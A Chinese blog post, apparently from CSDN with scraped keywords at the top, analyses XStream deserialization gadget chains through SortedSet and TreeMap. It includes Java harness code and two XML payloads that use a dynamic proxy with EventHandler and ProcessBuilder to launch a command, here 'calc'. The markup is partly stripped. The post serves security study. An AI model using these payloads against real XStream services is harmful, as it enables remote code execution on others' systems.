石墨网站开发,用logo做ppt模板下载网站,品牌营销策略案例,wordpress固定链接设置后打不开前文#xff1a;【Web】浅聊XStream反序列化本源之恶意动态代理注入-CSDN博客
前言
在上一篇文章我们聊到可以用XStream反序列化来进行恶意动态代理的注入#xff0c;但其有一个很大的限制就是必须要知道目标靶机会调用哪个接口的方法#xff0c;才能去相应地精心构造对应…前文【Web】浅聊XStream反序列化本源之恶意动态代理注入-CSDN博客
前言
在上一篇文章我们聊到可以用XStream反序列化来进行恶意动态代理的注入但其有一个很大的限制就是必须要知道目标靶机会调用哪个接口的方法才能去相应地精心构造对应接口的动态代理类触发EventHandler从而进行恶意命令执行。
有没有通用性更强的解决方案不需要靶机执行某接口方法只要完成反序列化的过程就可以直接利用呢
自然是有的下面我们就来介绍SortedSet和TreeMap两条链 复现
SortedSetExp.java
package com.XStream;import com.thoughtworks.xstream.XStream;import java.io.FileInputStream;public class SortedSetExp {public static void main(String[] args) throws Exception{FileInputStream fileInputStream new FileInputStream(payload.xml);XStream xStream new XStream();xStream.fromXML(fileInputStream);}
}
payload.xml
sorted-setstringfoo/stringdynamic-proxyinterfacejava.lang.Comparable/interfacehandler classjava.beans.EventHandlertarget classjava.lang.ProcessBuildercommandstringcalc/string/command/targetactionstart/action/handler/dynamic-proxy
/sorted-set TreeMapExp
package com.XStream;import com.thoughtworks.xstream.XStream;import java.io.FileInputStream;public class TreeMapExp {public static void main(String[] args) throws Exception{FileInputStream fileInputStream new FileInputStream(payload2.xml);XStream xStream new XStream();xStream.fromXML(fileInputStream);}
}payload2.xml
tree-mapentrystringfookey/stringstringfoovalue/string/entryentrydynamic-proxyinterfacejava.lang.Comparable/interfacehandler classjava.beans.EventHandlertarget classjava.lang.ProcessBuildercommandstringcalc/string/command/targetactionstart/action/handler/dynamic-proxystringgood/string/entry
/tree-map根源的原理
记住我们的目的只要完成反序列化的过程就可以直接调用动态代理类的Eventhandler#invoke为此我们需要让动态代理类接口的某个方法在反序列化还原过程中自动调用
这里大佬们找到的是Comparable接口的compareTo方法 在TreeMap的put方法里就进行了compareTo方法的调用而下面的两条链其实最后都是依托TreeMap#put来完成反序列化的数据结构还原的这和我们的目标一拍即合。 SortedSet链分析
一开始是HierarchicalStreams.readClassType获取待反序列化类的Class对象前半段和上篇文章讲的一样不作赘述我们直接关注不一样的点
来到DynamicProxyMapper#realClass注意elementName和alias是不相等的
会继续调用super.realClass作为返回值type 跟进 跟进DefaultMapper.realClass取到一个加载的SortedSet类(注意initialize参数为false所以并未初始化) 返回的type就是SortedSet.class
接着进到convertAnother对该类进行实例化 先是进行一个类型转化 mapper.defaultImplementationOf() 用于设定某个接口或抽象类的默认实现以确保在没有显式指定实现的情况下能够使用预设的默认实现。这样可以简化代码中对实现的选择和配置。 成功将SortedSet转化为默认实现类型TreeSet 接着调用lookupConverterForType来取对应的converter这里的this.converterLookup就是XStream 跟进XStream#lookupConverterForType
跟进defaultConverterLookup.lookupConverterForType这里的逻辑是迭代this.converters直到找到能转换出TreeSet类型最后取到converter为TreeSetConverter 然后传参进convert调用 跟进调用TreeSetConverter#unmarshal 跟进调用TreeMapConverter#populateTreeMap顾名思义就是开始填充TreeMap 先创建一个空sortedMap
循环取出所有反序列化完毕的元素存到sortedMap 这个sortedMap只是一个缓存的地方真正的返回值是TreeMap。之后判断JVM是否全部缓存好元素了然后把sortedMap的缓存元素全部放入TreeMap作为反序列化的返回对象 简单跟一跟 最后调用了k(也就是动态代理类)的compareTo方法传入参数是第一个key String
从而进到EventHandler#invoke进行恶意命令的调用这部分和上篇文章讲的一样不再赘述。 TreeMap链分析
先是取到type为java.util.TreeMap 后续type没有进行默认类型转换 取到TreeMapConverter来进行convert还原待反序列化类
最后又进了TreeMapConverter#populateTreeMap来到了熟悉的环节后面就和上面讲的一样了不再赘述